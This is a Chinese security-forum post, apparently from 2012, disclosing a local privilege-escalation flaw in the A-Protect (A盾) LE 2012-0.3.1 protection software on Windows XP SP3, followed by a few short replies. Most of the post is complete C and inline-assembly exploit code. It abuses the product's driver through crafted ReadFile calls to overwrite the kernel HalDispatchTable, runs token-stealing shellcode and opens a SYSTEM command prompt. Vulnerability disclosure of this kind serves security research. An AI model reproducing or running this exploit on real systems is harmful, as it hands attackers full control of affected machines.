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[原创]A盾电脑防护 LE 2012-0.3.1 的一个XXX （还是本地提权）
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发表于: 2012-6-19 15:56
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环境：Windows XP SP3 虚拟机
1.打开A-Protect.exe
2.等待A-Protect.exe显示完系统进程信息
3.编译如下代码，双击运行后结束A-Protect.exe，然后得到一个SYSTEM的CMD
不玩了，学习A盾开源的代码去了。
1.打开A-Protect.exe
2.等待A-Protect.exe显示完系统进程信息
3.编译如下代码，双击运行后结束A-Protect.exe，然后得到一个SYSTEM的CMD
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 | #include <Windows.h>typedef struct _RTL_PROCESS_MODULE_INFORMATION { HANDLE Section; // Not filled in PVOID MappedBase; PVOID ImageBase; ULONG ImageSize; ULONG Flags; USHORT LoadOrderIndex; USHORT InitOrderIndex; USHORT LoadCount; USHORT OffsetToFileName; UCHAR FullPathName[ 256 ];} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;typedef struct _RTL_PROCESS_MODULES { ULONG NumberOfModules; RTL_PROCESS_MODULE_INFORMATION Modules[ 1 ];} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;typedef ULONG ( __stdcall *NtQueryIntervalProfile_ ) ( ULONG, PULONG );typedef ULONG ( __stdcall *NtQuerySystemInformation_ ) ( ULONG, PVOID, ULONG, PULONG );typedef ULONG ( __stdcall *NtAllocateVirtualMemory_ ) ( HANDLE, PVOID, ULONG, PULONG, ULONG, ULONG );NtQueryIntervalProfile_ NtQueryIntervalProfile;NtAllocateVirtualMemory_ NtAllocateVirtualMemory;NtQuerySystemInformation_ NtQuerySystemInformation;ULONG WriteToHalDispatchTable, ZwOpenProcess, ZwOpenProcessTokenEx, ZwDuplicateToken, ZwSetInformationProcess;ULONG SYSTEMCID[2]={4,0}, ObjectAttributes[6];HANDLE hSystemProc, hTokenHandle, hNewTokenHandle;void _declspec(naked) ShellCode(){ __asm { pushad pushfd push offset SYSTEMCID push offset ObjectAttributes push 0x0400 push offset hSystemProc call ZwOpenProcess cmp eax,0 jnz exit0 push offset hTokenHandle push 0x200 push TOKEN_ALL_ACCESS push hSystemProc; call ZwOpenProcessTokenEx cmp eax,0 jnz exit0 push offset hNewTokenHandle push TokenPrimary push 0 push 0 push TOKEN_ALL_ACCESS push hTokenHandle call ZwDuplicateToken cmp eax,0 jnz exit0 push 8 push offset hNewTokenHandle push 9 push 0xFFFFFFFF call ZwSetInformationProcessexit0: popfd popad ret }}#define AProcess_Size 0x683800WCHAR pSelfEXEPath[MAX_PATH];UCHAR pBuffer[AProcess_Size];char pSafe[] = "Safe";int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow ){ HMODULE ntdll; ntdll = GetModuleHandle( L"ntdll.dll" ); if ( _stricmp(GetCommandLineA(),"Son") == 0 ) { HMODULE ntdll = GetModuleHandle( L"ntdll.dll" ); NtQueryIntervalProfile = (NtQueryIntervalProfile_)GetProcAddress( ntdll ,"NtQueryIntervalProfile" ); NtAllocateVirtualMemory = (NtAllocateVirtualMemory_)GetProcAddress( ntdll ,"NtAllocateVirtualMemory" ); NtQuerySystemInformation = ( NtQuerySystemInformation_ )GetProcAddress( ntdll ,"NtQuerySystemInformation" ); if ( NtQueryIntervalProfile == NULL || NtAllocateVirtualMemory == NULL || NtQuerySystemInformation == NULL ) return 0; //取ntoskrnl的信息，只要调用一次就行 ULONG status, NtoskrnlBase; RTL_PROCESS_MODULES module; status = NtQuerySystemInformation( 11, &module, sizeof(RTL_PROCESS_MODULES), NULL);//SystemModuleInformation 11 if ( status != 0xC0000004 ) //STATUS_INFO_LENGTH_MISMATCH return 0; NtoskrnlBase = (ULONG)module.Modules[0].ImageBase; //把ntoskrnl.exe加载进来 HMODULE ntoskrnl; ntoskrnl = LoadLibraryA( (LPCSTR)( module.Modules[0].FullPathName + module.Modules[0].OffsetToFileName ) ); if ( ntoskrnl == NULL ) return 0; //计算实际地址 WriteToHalDispatchTable = (ULONG)GetProcAddress(ntoskrnl,"HalDispatchTable") - (ULONG)ntoskrnl + NtoskrnlBase + 4; //需要覆盖的地址 ZwOpenProcess = (ULONG)GetProcAddress(ntoskrnl,"ZwOpenProcess") - (ULONG)ntoskrnl + NtoskrnlBase; ZwOpenProcessTokenEx = (ULONG)GetProcAddress(ntoskrnl,"ZwOpenProcessTokenEx") - (ULONG)ntoskrnl + NtoskrnlBase; ZwDuplicateToken = (ULONG)GetProcAddress(ntoskrnl,"ZwDuplicateToken") - (ULONG)ntoskrnl + NtoskrnlBase; ZwSetInformationProcess = (ULONG)GetProcAddress(ntoskrnl,"ZwSetInformationProcess") - (ULONG)ntoskrnl + NtoskrnlBase; //以下代码就各显神通了 ReadFile((HANDLE)0x18881111,pSafe,8,NULL,NULL); LPVOID MyAddress = VirtualAlloc(NULL,0x1000,MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE); if (MyAddress==NULL) return 0; memset(MyAddress,0,0x1000); ULONG Length[7]={0}; Length[0]=-1; Length[6]=(ULONG)MyAddress; Length[7]=WriteToHalDispatchTable; ReadFile((HANDLE)0x18881191,0,(ULONG)Length,NULL,NULL); memcpy( MyAddress, ShellCode, 200 ); //触发，弹出SYSTEM的CMD NtQueryIntervalProfile( 2, &status ); STARTUPINFO si; PROCESS_INFORMATION pii; ZeroMemory( &si, sizeof(si) ); si.cb = sizeof(si); ZeroMemory( &pii, sizeof(pii) ); CreateProcess( L"C:\\windows\\system32\\cmd.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pii ); } else { HWND hWnd; hWnd = FindWindow(NULL,L"A盾电脑防护 LE 2012-0.3.1"); if ( hWnd == NULL ) return 0; PostMessage(hWnd,WM_CLOSE,0,0); for ( int i = 0; i < 10; i++ ) { Sleep(1000); hWnd = FindWindow(NULL,L"A盾电脑防护"); if ( hWnd != NULL ) { PostMessage(hWnd,WM_KEYDOWN,VK_RETURN,0); break; } } GetModuleFileName(NULL,pSelfEXEPath,MAX_PATH); HANDLE hSelfFile = CreateFile(pSelfEXEPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if ( hSelfFile == INVALID_HANDLE_VALUE ) return 0; ULONG uFileSize = GetFileSize(hSelfFile,NULL); if ( uFileSize == INVALID_FILE_SIZE ) return 0; ULONG dwResult; if ( ReadFile(hSelfFile,pBuffer,uFileSize,&dwResult,NULL) == 0 ) return 0; HANDLE hTargetFile = CreateFile( L"C:\\1.exe", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hTargetFile == INVALID_HANDLE_VALUE) return 0; if(!WriteFile (hTargetFile, pBuffer, AProcess_Size, &dwResult, NULL)) return 0; CloseHandle(hSelfFile); CloseHandle(hTargetFile); STARTUPINFO si; PROCESS_INFORMATION pii; ZeroMemory( &si, sizeof(si) ); si.cb = sizeof(si); ZeroMemory( &pii, sizeof(pii) ); CreateProcess( L"C:\\1.exe", L"Son", NULL, NULL, FALSE, 0, NULL, NULL, &si, &pii ); } return 0;} |
不玩了，学习A盾开源的代码去了。
[培训]内核驱动高级班，冲击BAT一流互联网大厂工作，每周日13:00-18:00直播授课
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呃。。乱用提权字眼了。
验MD5也不管用啊  以后修改的代码还会继续开源么？ 
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看情况了。如果觉得发布的意义大于留在硬盘的意义，就发布。
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